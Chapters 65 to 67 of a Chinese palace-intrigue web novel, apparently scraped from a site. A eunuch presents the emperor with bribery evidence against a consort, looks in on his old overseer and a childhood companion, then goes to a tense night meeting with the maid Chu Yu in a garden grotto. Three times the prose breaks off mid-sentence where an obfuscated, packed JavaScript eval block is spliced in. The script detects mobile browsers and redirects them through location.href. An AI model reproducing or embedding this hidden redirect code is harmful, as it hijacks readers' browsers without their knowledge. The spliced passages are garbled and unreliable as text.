“劳孙公公挂心,已无大碍。”关禧微微躬身,“这就进去给陛下请安。” 书房内,炭火温暖,龙涎香沉静。萧衍坐在御案后,正批阅着一份奏章,朱笔悬停,有些心不在焉。听到脚步声,他抬起头。 目光落在关禧身上,打量。 从头发丝到靴尖,从平静的面容到挺直的身子。没有惶恐,没有劫后余生的惊悸,甚至没有急于表功的急切。就像昨日差点被扔进废井的不是他,就像昨夜只是一场无关紧要的风寒。 “看来太医的安神汤颇有效验。”萧衍放下朱笔,语气平淡,“今日气色倒好。” “托陛下洪福。”关禧走到御案前,撩袍跪下,“奴才昨夜鲁莽,令陛下忧心,罪该万死。然陛下交办之差事,奴才幸不辱命,已有进展,特来复命。” 萧衍身体前倾,手指在御案上叩击:“哦?有何进展?” 关禧从怀中取出那个油布包,双手高举过头顶:“奴才查得,永昌五年李婕妤案中,关键宫人春杏曾收受巨额贿赂,为其构陷旧主提供伪证。贿银八十两,源自宝昌票号,签发于永昌五年六月初七,取款印鉴为徐昭容娘娘私章。此金簪乃春杏与宫外旧情人之信物,内藏票根,为春杏暗中保留,埋于其旧居窗外枣树下,以防不测。昨夜,奴才已设法取回。” 他顿了顿,补充道:“人证春杏,昨夜已被浣衣局张嬷嬷带走,言称静养。奴才推断,此刻应在太后娘娘掌控之中。” 每一句话都像一颗石子,投入看似平静的御书房。 萧衍的目光紧紧锁着关禧低垂的头顶,又缓缓移到那双托举着证据稳定得没有一丝颤抖的手上。 昨夜,惊魂未定,差点命丧废井。 今晨,便能如此冷静地交出铁证,甚至清晰点出人证已落入太后之手。 这份心性,这份效率,这份镇定,远超他的预期。 震惊吗?是的。他预想过关禧或许能查到些线索,可能拿到一些边缘证据,但没想到是这般直接,这般致命的物证,更没想到是在经历了昨夜那般凶险的敲打甚至灭口威胁之后。 这小子,是真的不怕死?还是算计到了自己不会让他死? 萧衍伸出手,指尖触碰到那粗糙的油布包,拿起,打开。金簪黯淡,票根脆薄,但那方徐宛白的私章印迹,在御书房明亮的晨光下,刺眼无比。 他的手指收紧,那纸片边缘被捏出细褶。 徐宛白……太后…… 果然是她。用如此下作手段,铲除异己,稳固地位。而这笔账,这罪证,竟然真的被一个小太监,在太后眼皮底下挖了出来,送到了自己面前。 “你做得很好。险中求胜,胆大心细。昨夜之事,朕已知晓。永寿宫那边,朕自会处置。” “只是关禧,你可知道,将此物呈到朕面前,意味着什么?” 关禧跪得笔直:“奴才只知为陛下办事,查明真相。此物乃案情关键,自当呈交陛下圣裁。至于其他,非奴才所能妄议。” “圣裁……”萧衍重复,嘴角勾起一个没什么温度的弧度,“是啊,圣裁。证据确凿,按律当严惩。徐昭容构陷妃嫔,欺君罔上,其行可诛。” 他的话音陡然一转,更沉,更缓:“但,她腹中怀着朕的骨血。太后,绝不会允许任何人,在此刻动她。” 关禧心头了然。果然如此。皇帝的反应,在他的推演之中。震惊于证据,认可他的能力,但……不会立刻发作。 “陛下圣明。”关禧伏身,“奴才唯陛下之命是从。” 萧衍看着他伏地的身影,良久,才道:“此事,到此为止。证据,朕收下了。李婕妤旧案,朕心中有数。你昨夜受惊,今日且回去歇着,浙江司的差事和林敏之的折子,也先放一放。” 这是要冷处理,也是保护。将他和这烫手的证据,暂时从风口浪尖移开。 “奴才遵旨。”关禧叩首,起身,垂手退后。整个过程,没有多问一句,没有流露半分不解或委屈。 走到门口时,萧衍的声音再次传来,比刚才更低沉,只有他能听清: “关禧,记住,有时候,刀藏得深,比急着见血,更有用。朕……需要一把能藏住的刀。” 关禧脚步微不可察地一顿,深深躬身:“奴才谨记陛下教诲。” 退出书房,带上房门。廊下清冷的空气扑面而来。 关禧缓缓吐出一口气,抬头望向乾元殿上空那片泛着鱼肚白的天空。 赌对了,也过关了。 物证成功上交,皇帝拿到了能制衡徐昭容和太后的把柄,暂时不会用。他自己,证明了价值,获得了皇帝更深的信任,以及一句藏刀的暗示。 太后那边,杀意已露,暂时被皇帝挡了回去。人证在她手里,物证在皇帝手里,双方暂时达成一种心照不宣的平衡。 而徐昭容……她的命运,或许早已不在她自己手中。皇帝在等,等那个孩子落地。届时,新账旧账,只怕要一并清算。 至于他关禧? 难得的半日闲暇。 该做点什么? 念头自然而然地飘向了内务府派办处。 王元宝。那个当初将他从净身房一堆半死不活的新人里挑出来,啧啧称赞过好相貌,随手塞进承华宫书斋的管事太监。 算不上恩情。在宫里,这种挑选与安置,更像是一种对物件的估量和随手摆放。王元宝当时看中的,大概也只是这张或许能有点用处的脸。但无论如何,比起那些在净舍就高烧死去,在苦役司被磨折得不成人形的,他小离子,后来的关禧,终究是因着王元宝那随手一指,得了份相对轻省,甚至阴差阳错走上青云路的起点。 是该去看看。以如今的身份。 还有……小石头。 换了身半旧不新的鸦青色常服,料子是好的,颜色沉稳,不似那身天青扎眼。腰牌悬着,这是身份的凭证,也是护身符。他没带双喜或贵平,独自一人,出了乾元殿的范围,朝着宫廷西北角那片低矮,嘈杂的宫宇群落走去。 越往西北,宫殿的规制越低,路面不再是一尘不染的金砖或青石,而是普通的方砖。来往的太监宫女衣衫颜色黯淡,形色匆匆,脸上多是麻木或疲倦。 内务府派办处占据了一大片连排的厢房,门前开阔地晾晒着各色宫人衣物,布匹,几个小火者正费力地摇着轱辘从井里打水。人来人往,搬运箱笼,核对名册,低声交涉的嗡嗡声不绝于耳。 关禧的出现,像一滴清油落进了浑浊的汤里。 他那身即便半旧也质地精良的鸦青袍子,挺括的肩背,过于白皙洁净的面容,尤其是腰间那块深色的乾元殿行走腰牌,吸引了无数道目光。好奇,探究,敬畏,嫉妒,迅速在周围低垂的眼帘下交换。 他无视这些目光,径直走向正中间那间挂着派拨核验牌子的屋子。门敞着,里面人声鼎沸,几个穿着灰蓝色管事服色的太监正围着几张堆满册子的长条案,唾沫横飞地争论着什么,算盘珠子拨得噼啪响,空气里弥漫着劣质墨汁味。 关禧在门口略站了站,目光扫过。 角落里,一张稍小的旧书案后,一个穿着深褐色棉袍的老太监,正就着窗外昏暗的天光,眯着眼费力地核对着手里一卷泛黄的名册。 正是王元宝。数月不见,老态毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098275|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露,早已不是当初在净身房掌眼时那副精明油滑的模样。 关禧走过去,脚步声在嘈杂中几不可闻。直到他停在书案前,阴影投在名册上,王元宝才茫然地抬起头。 浑浊的老眼对上一双平静深邃的凤目。 王元宝眨了眨眼,愣了好一会儿,目光从关禧的脸上移到那身鸦青袍子,再落到腰牌上,嘴唇哆嗦了一下,猛地站起身,动作太急,带倒了身后的凳子,发出“哐当”一声大响。 周围的嘈杂为之一静。所有人都看了过来。 “关……关公公?!”王元宝的声音又尖又涩,“您……您怎么大驾光临这……这腌臜地方了?”他手足无措,想行礼,又似乎不知道该行什么礼,腰弯到一半僵在那里,脸上挤出的笑容比哭还难看。 当初他随手拨弄的小棋子,如今已是御前行走,皇帝亲赐名号的关公公。这地位的云泥之别,让这个在底层打滚了一辈子的老太监,被惶恐淹没。 关禧伸手,虚扶了一下:“王公公不必多礼。今日得闲,想起旧日多蒙关照,特来看看您。” 王元宝受宠若惊,更是吓得连连摆手:“不敢当不敢当!折煞老奴了!关公公快请坐!这……这儿脏乱……”他慌忙用袖子去擦拭旁边一张空着的椅子,那袖子本就沾着墨渍,越擦越脏。 “无妨。”关禧撩袍坐下,姿态从容,目光扫过周围那些呆若木鸡的管事太监,那些人立刻触电般移开视线,假装继续忙碌。 王元宝战战兢兢地在一旁站着,搓着手,不知该说什么。 “王公公也坐吧。”关禧指了指另一张凳子,“近来身子可好?差事还顺遂?” 王元宝半边屁股挨着凳子边坐下,苦笑道:“劳关公公惦记,老骨头一把,就是些老毛病,不妨事。差事嘛,就那样,混口饭吃。”他偷眼觑着关禧的脸色,小心翼翼地问,“关公公在御前伺候,那才是真正的前程无量……今日来,可是有什么吩咐?” “并无要事,只是路过,顺道来看看。”关禧语气温和,指尖在光洁的椅子扶手上轻轻一点,“说起来,倒想起一件事。我有个同乡,早年也入了宫,名叫小石头,本家姓赵。不知王公公可还有印象?可知他如今在何处当差?” “小石头?赵石头?”王元宝皱起眉头,努力回想。派拨过的低等太监成千上万,一个不起眼的名字,如大海捞针。 他想了半天,忽然“啊”了一声,“是不是……河间府上河村来的?个子小小的,入宫时瘦得跟猴儿似的,胆子也小?” 关禧眼神微动:“正是。” “想起来了!”王元宝拍了下大腿,随即又意识到动作不雅,赶紧放下手,压低声音,“那孩子……命不算好。当初分去了惜薪司下头的炭厂,专管分拣运送柴炭。那地方……唉,又脏又累,烟熏火燎的,身子弱点的根本熬不住。他去了不到两个月,就病了一场,好了之后人就更木了。后来好像……好像是被调去北苑那边的花园子做杂役了?具体哪个宫苑,老奴这记性……”他歉然地笑着,指了指自己花白的脑袋。 惜薪司炭厂,北苑杂役。 “北苑……”关禧重复了一遍,语气听不出情绪,“有劳王公公费心回想。” “应该的,应该的。”王元宝连连点头,犹豫了一下,觑着关禧的脸色,极小声地说,“关公公如今是贵人,若想照拂同乡一二……或许可以打听打听北苑那边哪个管事太监说得上话。那孩子老实,就是……就是不太灵光,怕是不容易往上走。” 这话说得含蓄,意思是小石头可能混得不好,关禧若想帮,得找人打招呼。 关禧没接这个话头,转而问道:“王公公在这派办处多年,经手人事繁杂,耳目想必也灵通。近日宫里宫外,可有什么新鲜事,或特别的动静?” 这是闲聊,也是打听。派办处看似低微,却是宫内底层人员流动和信息杂汇之地,某些风声,或许比乾元殿听得更真切,更芜杂。 王元宝精神一振,关公公这是要跟他叙话了。他左右看了看,声音压得更低:“新鲜事……倒是有几桩。听说玉芙宫徐昭容娘娘那边,近来脾气愈发大了,底下人动不动就挨罚。前几日还打死了一个小宫女,说是失手打碎了娘娘心爱的玉盏……唉,怀着龙种,金贵啊。”他摇了摇头,语气听不出是感慨还是畏惧。 “还有呢?”关禧面色不变。 “还有就是……永寿宫太后娘娘跟前的一位姑姑,前些日子好像出宫了一趟,去了城西的宝相寺进香,带回个据说颇有些道行的姑子,在永寿宫讲了两日经。”王元宝咂咂嘴,“太后娘娘近来礼佛是越发勤了。再有就是……司礼监的郑秉笔郑公公,好像和御马监的掌印有些不对付,为了今春马匹采买的份额,明里暗里较着劲呢。” 这些消息,有的关禧已知,有的算是补充。太后的动向,司礼监的内斗,都是值得留意的风向。 两人又说了些无关紧要的闲话,关禧起身告辞。王元宝一直躬身送到派办处院门外,直到关禧的身影消失在宫道拐角,才直起腰,抹了把额头上不知何时渗出的虚汗,脸上那谄媚惶恐的表情慢慢褪去。他转身回去,屋里那些太监立刻围了上来,七嘴八舌地打探。 王元宝只是摇头,喃喃道:“了不得了……真真是了不得了……” 65.第 66 章 离开派办处,时辰尚早,关禧脚步一转,朝着更僻静的北苑方向走去。 北苑是皇宫最北面的园林区,占地广阔,多山林池沼,殿宇稀疏,平日里除了打理园子的杂役和偶尔游幸的妃嫔,少有人至。冬日里更是萧瑟,树木凋零,冷风毫无遮挡地吹过,比别处更刺骨几分。 关禧走过太液池边,绕过小丘,在一片枯藤老树掩映的角落,找到了几排低矮用作库房和杂役歇脚的瓦房。房前空地上,几个穿着臃肿破旧棉袄的太监正在清理修剪下来的枯枝,动作迟缓,呵出的白气很快消散在寒风里。 他远远站定,目光扫过那几个身影。 其中一个格外瘦小裹在那不合身的旧棉袄里,正费力地将一捆枯枝拖到堆积处。他低着头,看不清脸,只有一截冻得通红皲裂的手露在外面,动作有些笨拙。 旁边一个年纪稍大的太监似乎骂了句什么,瘦小太监缩了缩脖子,把脑袋埋得更低,加快了动作。 关禧没有上前,没有询问,没有让对方察觉自己的存在,只是看着那个在寒风中瑟缩劳作的身影,与记忆中那个跟在他身后,眼里有光的孩子,渐渐分离,变成深宫无数麻木背景中模糊的一笔。 看了一会儿,他转过身。 那个瘦小的太监似有所觉,茫然地抬起脸,朝关禧刚才站立的方向望了望。 那里空无一人,只有冬日惨淡的天光,和远处宫殿巍峨的轮廓。 关禧已转身离去,鸦青色的袍角在萧瑟景致中一闪,便没入了嶙峋假山与枯藤的阴影之后。他没有回头,脚步甚至比来时更稳,更快。 心头的波澜,在看清那身影的瞬间已然平息。 不是冷漠,而是明晰,在这吃人的地方,一时的恻隐,未必是恩,可能是祸。他如今自身如履薄冰,任何额外的牵挂,都可能被解读,被利用。小石头有他的命数,自己亦有自己的路。知道他还活着,在这宫里某个角落喘着气,或许已是最好的消息。 至于伸手拉一把?时机未到,力量也不够纯粹。关禧很清醒,任何援手,在这深宫都必须计算代价,盲目的善意死得最快。 他不再去想那个瑟缩的同乡,思绪重新回到乾元殿,回到皇帝那句藏刀的暗示,回到太后冰冷的注视,回到司礼监若有若无的掣肘。 短暂的放风结束,该回去了。 从北苑回乾元殿东厢,需穿过一片更为荒僻的宫巷。这里少有人迹,墙头衰草在风中呜咽。日光越发淡薄,云层压得很低,像是酝酿着一场雪。 在拐过一处墙角时,关禧的脚步顿了一下。 前方巷子尽头,通往另一处宫苑的月洞门前,立着几个人。 一个是穿着淡青色宫装,外罩银鼠皮斗篷的女人,身姿挺秀,正是楚玉。她正低声吩咐着身边一个提着食盒的小宫女,侧脸在灰白天光下,没什么表情。 而她面前半步,站着个穿着簇新宝蓝色绸面棉袍,头戴镶玉瓜皮小帽的年轻太监,面皮白净,眉眼带笑,正对着楚玉拱手说着什么,态度殷勤,甚至有些过于热络。关禧认得,那是司礼监随堂太监周如意,郑秉笔的得力干将之一,近来在宫内颇为活跃。 楚玉听着,偶尔点一下头,并不多言。周如意却谈兴正浓,身子又向前凑了凑,声音也略高了些,在这寂静巷子里清晰地飘过来几句: “……青黛姑娘放心,郑公公那边都打点好了,永寿宫近日也默许……那批南边新到的料子,必定有承华宫一份上好的,颜色花样都按娘娘往日的喜好来……往后有什么跑腿传话的差事,姑娘也尽管吩咐,咱们司礼监和承华宫,本就该多亲近……” 楚玉微微侧身,想结束谈话,淡声道:“周公公费心。娘娘的用度自有内府规矩,不敢劳烦郑公公特别关照。若无他事,我便先行一步,娘娘还等着。” 周如意笑道:“不急不急。青黛姑娘这是往哪儿去?可是回承华宫?正巧,我也要去那边给昭容娘娘送些东西,顺路,顺路。”说着,竟似要跟着楚玉一同走。 关禧站在拐角阴影里,这一幕尽收眼底。楚玉的疏离,周如意的刻意攀附,以及那话语里透露出的司礼监向承华宫递出的橄榄枝,或者说,是某种试探性的拉拢。 冯媛协理宫务,位份不低,背后又有清流文臣的潜在影响。皇帝近来对司礼监隐隐的制衡之意,郑秉笔那些人精岂会不知?拉拢有实权,又与皇帝新宠有旧缘的嫔妃,无疑是一步棋。而楚玉作为冯媛最信任的心腹,自然是首要接触的目标。 只是这接触,在此时此地,显得如此突兀而刻意。是司礼监急了?还是另有图谋? 楚玉显然也觉不耐,眉头蹙了一下,正要开口,眼风却倏然扫过关禧所在的拐角。 两人的目光,隔着一段距离和暗淡天光,猝然相遇。 关禧没有躲避,就那么平静地回望过去。楚玉的眼中飞快地掠过一丝讶异,随即恢复成一潭深水,看不清情绪。她迅速转开视线,仿佛只是无意间瞥见一个无关的路人。 但周如意却顺着楚玉刚才那极短暂的目光偏移,也注意到了阴影中的关禧,脸上的笑容顿时更盛,转身朝着关禧拱手道:“哟!这不是关公公吗?真是巧了!竟在此处遇见。”他目光在关禧那身料子贵重的鸦青袍子上扫过,又在腰间腰牌上顿了顿,语气亲热得过分,“关公公这是从哪儿来?瞧着气色极好,可是陛下又有恩典?” 关禧走出阴影,脸上挂起一丝恰到好处的浅笑:“周公公。不过是随意走走,散散心罢了。比不得周公公务繁忙,为各宫主子奔波劳碌。” “哪里哪里,都是为宫里当差嘛。”周如意摆摆手,眼珠一转,瞥了瞥已停下脚步,静立一旁的楚玉,又看回关禧,“关公公与青黛姑娘也是旧识了?今日这北苑偏僻之地,倒是接连遇见两位贵人,看来周某运气不错。” 这话听着像是玩笑,实则暗藏机锋。既点出关禧与楚玉的关系,又将“偏僻之地”“接连遇见”说得意味深长,暗示着什么。 楚玉的脸色彻底冷了下来。 关禧笑容不变,语气淡了几分:“周公公说笑了。御前当差,循规蹈矩是第一要务。路过而已,何来运气之说。”他不再看周如意,目光转向楚玉,用的是最标准对高阶宫女客气疏离的礼数,“青黛姑娘。” 楚玉回以同样标准的屈膝礼,声音毫无波澜:“关公公。”一个字也不多。 周如意看看关禧,又看看楚玉,哈哈一笑,似想打圆场,又似还想说些什么。 关禧不给他机会,径直道:“不打扰周公公与青黛姑娘办事,告辞。”说罢,对两人颔首,便迈步从他们身边走过,径直朝着乾元殿方向而去,步伐沉稳,没有丝毫停留或迟疑。 关禧没走多久,身后便传来一阵细碎急促的脚步声,踩在干燥的落叶和碎石上,在寂静的巷子里格外清晰。 他脚步未停,甚至连节奏都未曾改变,只是耳朵动了动,辨出那脚步轻巧虚浮,不是练家子,也不是成年男子的沉稳。心念电转间,已有了几分猜测。 “关公公!关公公请留步!” 一个带着怯意的少女声音在身后响起,微微气喘。 关禧这才停下,转过身。 正是方才站在楚玉身侧,提着食盒的那个小宫女,看着不过十三四岁年纪,圆脸,眼睛很大,此刻跑得脸颊泛红,鼻尖渗出细汗。她见关禧转身,连忙停下脚步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098800|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些慌乱地屈膝行礼,手里的食盒随着动作晃了晃。 “……公公恕罪。”小宫女声音发紧,眼睛不敢直视关禧,只盯着自己脚尖前的地面,“是青黛姐姐让奴婢来的。” “何事?”关禧语气平淡,目光扫过她手里的食盒,又掠过她紧张绞着衣角的手指。 小宫女飞快地抬头瞥了他一眼,又迅速低下,从袖中摸出一样东西,是一枚用红线缠着的晒干的桂花。香气早已淡得闻不见,但那小巧的金黄花朵依旧保持着舒展的形状。 “姐姐说把这个交给公公。”小宫女将干桂花递过来,指尖有些抖,“姐姐还说今夜戌时三刻,御花园西北角,假山群叠翠第二洞深处,最里面的石隙。若公公得空,可去那里取一件旧日遗落的……无关紧要的小玩意儿。” 她背书一样说完这段话,声音越到后面越低,几乎听不清,显然紧张至极。 戌时三刻,御花园,假山石隙……旧日遗落的小玩意儿?楚玉这借口找得,既模糊又透着股心照不宣的古怪。 太监与宫女私下相见,在宫规里是大忌。轻则罚俸杖责,重则发配苦役甚至丢了性命。更何况是他们两人如今的身份,一个是风头正劲,不知多少双眼睛盯着的御前新贵,一个是嫔妃身边最得力的心腹宫女。 御花园地方大,路径复杂,假山群更是曲折幽深,白日都少有人至,夜里更显荒僻,确实是藏匿行迹的好去处。但风险同样巨大。一旦被人察觉,后果不堪设想。 楚玉冒险传这样的口信,是想做什么?警告?提醒?还是有别的话,必须当面说,且不能假他人之口,更不能留下只言片语的凭证? 关禧伸出手,拈起那枚干桂花。 “知道了。”桂花拢入掌心,他声音平稳,“有劳姑娘跑这一趟。回去告诉青黛姑娘,戌时三刻,御花园叠翠第二洞,我记下了。若是寻不见旧物,便罢了,夜露深重,请姑娘也多保重。” 他这话答得巧妙,既像是应了约,又像是在说一件无足轻重,可有可无的寻物小事,将私会的性质模糊到了极致。 小宫女如释重负,连忙点头:“是,奴婢一定把话带到。”她屈了屈膝,不敢再多停留,提着食盒,转身小跑着离开了,淡青色的身影很快消失在巷子拐角。 关禧站在原地,摊开手掌,看着掌心那枚早已失去鲜活色泽的干桂花。楚玉送这个,是什么意思?仅仅是传递口信时顺手为之的信物,还是……别有深意?桂花,关联着某个他们共同经历过带着暖香与不堪的场景吗? 他阖上手掌,桂花紧紧攥住,指尖那点微不足道的硬物感,像一根细刺,扎进了心里。 戌时三刻,御花园,叠翠洞。 去,还是不去? 理智在尖叫危险。昨夜刚从太后的杀局中侥幸脱身,今日就应一个身份敏感宫女的夜半之约?这简直是将自己再次置于炭火之上。楚玉是冯媛的人,而冯媛与皇帝乃至太后之间的关系错综复杂。 这会不会是另一个陷阱? 可另一种更隐秘,更不受控制的情緒,在心底蠢蠢欲动。他想知道楚玉要说什么。想知道那夜西暖阁之后,在她那冷硬的外壳下,是否也曾有过片刻的波澜。想知道她今日见到周如意那番作态,究竟是纯粹的厌恶,还是有一丝别的考量? 更或许,他只是需要一点真实的触碰。在这全是面具和算计的深宫,楚玉是少数几个见过他最不堪,最狼狈模样的人之一。那种扭曲的真实,竟也成了一种诡异的牵绊。 他抬头望了望天色,云层越积越厚,铅灰色的,沉甸甸地压着宫殿的飞檐。风更冷了,带着明显的湿意。 看来,今夜或许真的有雨,或雪。 66.第 67 章 成时初刻,天已黑透。 细密的雪粒子不知何时飘了下来,起初是霰,簌簌地敲打在乾元殿东厢房的窗纸上,很快便成了真正的雪花。 在宫灯昏黄的光晕里斜斜飞舞,覆盖着庭院里那株老槐的枯枝。 关禧屋子里没有点灯。 他独自坐在外间的紫檀木圈椅里,看着窗外越来越密的雪幕,眼底深处翻涌着比天色更沉郁的思绪,身上穿的仍是白日那身鸦青常服,只在外头加了件玄色暗纹的厚棉斗篷,兜帽垂在背后。 更漏滴滴答答,时间被拉得粘稠缓慢。 他一遍遍推演着可能的陷阱,权衡着利弊得失。理智告诉他,这邀约透着诡异,风险远大于可能获得的模糊信息或情感慰藉。楚玉是冯媛最锋利的刀,她的每一个举动都必然服务于承华宫的利益。今夜私会,或许是冯媛授意,试图从他这里获取皇帝对李婕好一案,乃至对徐昭容,对太后真实态度的口风?或是想利用他们之间那点不堪的旧谊,将他更紧地绑在承华宫这条船上? 又或者,真是楚玉自己的意思? 这个念头刚冒出来,就被他强行按捺下去。他不愿深想,也不敢深想。 戌时二刻。 雪小了些,风却更紧了,呜咽着穿过廊庑。 关禧终于站起身,拉起斗篷的兜帽,遮住大半张脸,又检查了一遍袖中暗藏的匕首和迷药,防备可能存在的第三双眼睛。 他推开房门,融入风雪交加的夜色。 乾元殿到御花园的路不算近,这个时辰,又逢落雪,宫道上几乎不见人影,只有巡逻侍卫的脚步声和甲胄碰撞声偶尔从远处传来,很快又被风雪吞没。 关禧专挑僻静的小径走,斗篷的深色让他与黑暗融为一体,脚步轻捷。 御花园在雪夜里显出一种与白日截然不同的静谧。亭台楼阁的轮廓被积雪模糊,黑魆魆地蹲伏着。树木枝丫挂上银边,在风中摇曳,投下鬼魅般的碎影。白日里蜿蜒雅致的小径被积雪覆盖,难以分辨,只有远处几盏气死风灯在风雪中明灭,像荒野中飘忽的磷火。 关禧对御花园不算熟悉,但叠翠洞的方位大致记得。那是位于西北角一片人工堆砌的太湖石假山群,洞窟相连,曲折幽深,夏日是纳凉胜地,冬日则人迹罕至。他依着记忆,避开主路,踏着积雪,深一脚浅一脚地朝着那片黑沉沉的假山走去。 雪落无声,四下里只有他踩雪的咯吱声。寒冷无孔不入,即便裹着厚斗篷,寒气依旧顺着衣领袖口往里钻,指尖很快冻得麻木。他不敢停留,更不敢四处张望,只将全部心神用于辨认方向和提防周遭。 终于,那片嶙峋怪异的假山群出现在视野里。在积雪的覆盖下,那些孔洞更显深邃黑暗,像巨兽张开的口。他找到了叠翠二字的石刻,已被雪半掩,辨认不清。按照小宫女所言,是第二洞。 关禧深吸一口凛冽的空气,抬步走了进去。 洞内比外面更黑,伸手不见五指。雪光从洞口透入些许,勉强勾勒出温滑石壁的轮廓和脚下凹凸不平的地面。空气阴冷潮湿,混杂着泥土和苔藓的气息。他小心翼翼地前行,绕过一处突出的石笋,洞穴向深处延伸。 第二洞……深处……最里面的石隙。 他摸索着,指尖拂过冰冷粗糙的石壁。 约莫走了十几步,前方出现岔路,他选择了更狭窄幽暗的一条。又拐过一个弯,空间稍稍开阔,但光线也更暗了。这里已是假山腹地,外界的风雪声变得遥远模糊。 就在他凝神寻找所谓石隙时,一个极冷的声音,从前方右侧一片更浓的黑暗里传来: “你来了。” 是楚玉。 关禧的心脏一缩,随即强迫自己镇定下来。他循声望去,隐约看见一个纤细的身影,倚靠在一处内凹的石壁旁,她身上那件淡青色宫装的衣料,在黑暗里,反射出极其微弱一点不同于岩石的冷调光泽。 “青黛姑娘深夜相邀,不知有何要事?此地阴寒偏僻,若是被人瞧见,恐怕于姑娘清誉有损。” 他先发制人,语气里带着公事公办的疏离和淡淡的质疑,仿佛真的只是来取一件无关紧要的旧物,顺便提醒对方注意风险。 黑暗中,楚玉轻笑了一声,那笑声极短,没有温度,更像是一声气音。 “关公公如今是御前红人,果然处处谨言慎行。只是不知,关公公这谨言慎行里,有几分是真,几分是装给旁人看的?” 关禧心头微凛,面上却不露分毫:“我愚钝,不知姑娘何意。陛下信重,我唯有战战兢兢,恪尽职守,不敢有丝毫行差踏错。倒是姑娘,夤夜在此,若只为说这些,未免……” “未免什么?”楚玉打断他,声音忽然近了些。 关禧这才发觉,不知何时,她已经从倚靠的石壁边走了出来,悄无声息地停在了距离他只有四五步远的地方。 洞内太暗,他依然看不清她的脸,只能看到一个更清晰的轮廓,和那双在黑暗中闪着幽微光点的眼睛。 “未免太不识趣?太不知死活?”楚玉接了下去,“关禧,这里没有皇帝,没有太后,没有司礼监的眼睛。收起你那一套。” 她直接叫了他的名字。 不是关公公,不是小离子,是关禧。 关禧呼吸一滞,所有准备好的质问,试探,伪装,在这声直呼其名面前,竟有些摇摇欲坠。他握紧了袖中的手,指尖掐进掌心,用疼痛维持清醒。 “姑娘到底想做什么?李婕妤的案子?承华宫的立场?还是……替冯昭仪娘娘传话?” 他一连抛出几个问题,试图将这场危险的会面拉回他熟悉的充满算计轨道。 楚玉没有回答。 她静静地站在那里,看着他。雪光从不知哪个曲折的孔洞漏进来一丝,映亮了她半边脸颊。还是那副冷冽的眉眼,秀挺的鼻,淡色的唇。只是那眼神,在黑暗与那一线微光的映衬下,仿佛有暗流在井底汹涌,快要冲破冰封的表面。 然后,她缓缓地抬起了手,朝着他的方向,勾了勾食指。 “过来。” 两个字。比落雪更轻,比寒风更冷,却又像带着钩子,穿透黑暗,精准地拽住了关禧的神经。 冷淡。命令式。不容置疑。 可偏偏,在这阴冷死寂的假山石洞里,从她口中吐出,无端端染上了一层秘而不宣,勾魂摄魄的意味。 关禧的腿,软了一下。 他想起了西暖阁的暖香,想起了她汗温的鬓发,想起了她同样用这种冷冰冰的语调,命令他做那些不堪的事情……而他的身体,在那时,背叛灵魂,给出了可耻的反应。 此刻,尽管隔着厚重的冬衣,尽管环境截然不同,那两个字却像钥匙,打开了他努力封存的某个匣子,释放出里面混乱滚烫,令他自我厌弃又无法完全割舍的东西。 他僵在原地,没有动。理智在尖叫着危险和耻辱,血液奔流的声音在耳中轰鸣。 楚玉并不意外他的僵滞,收回手,偏了偏头,目光落在他被兜帽阴影笼罩的脸上。 “怎么,怕了?”她语气平淡,“在乾元殿对着陛下侃侃而谈,在浣衣局对着太后的人寸步不让的关公公,也会怕?” 激将法。很低级, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100197|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但在此刻,对他有效。 关禧猛吸了一口气,冰凉的空气刺痛肺腑,也带来一丝清明。他迈开脚步,朝着她走去。每一步都踏在湿滑不平的石面上,发出轻微的声响,在寂静的洞穴里被放大。 四步,三步,两步……最终,他停在了她面前,近得能闻到她身上那股清冽如冷梅的气息,混合着冬日衣料的熏香,还有一丝属于女性的温热。 他比她高上不少。即使她站得笔直,他仍需微微垂眼,才能与她的视线相接。兜帽的阴影遮住了他大半表情,只露出线条紧抿的下颌。 楚玉抬起头,迎着他的目光。 雪光太弱,只能依稀照见她眸中一点微光,深不见底。她的脸上没有什么表情,还是那种惯常剥离了情绪的冷淡,像一尊精心雕琢的冰玉美人。但离得这样近,关禧能看到她长而密的睫毛在眼下投出的淡淡阴影,能看到她鼻尖被寒气冻出的一点微红,能看到她淡色弧度优美的唇瓣,正抿着。 然后,她再次伸出手。 这一次,径直地抚上了他的脸颊。 她的手指冰凉,指尖却异常柔软。她先是用指腹轻轻擦过他兜帽边缘露出被冻得冰冷的皮肤,随即,整个手掌贴了上来,捧住了他的半边脸。动作并不轻柔,迫使他偏过头,让那线微弱的雪光,能更清楚地照亮他的五官。 关禧浑身僵硬,他能感觉到她掌心细腻的纹理,能闻到她袖间更清晰的冷香,能看清她近在咫尺的容颜。 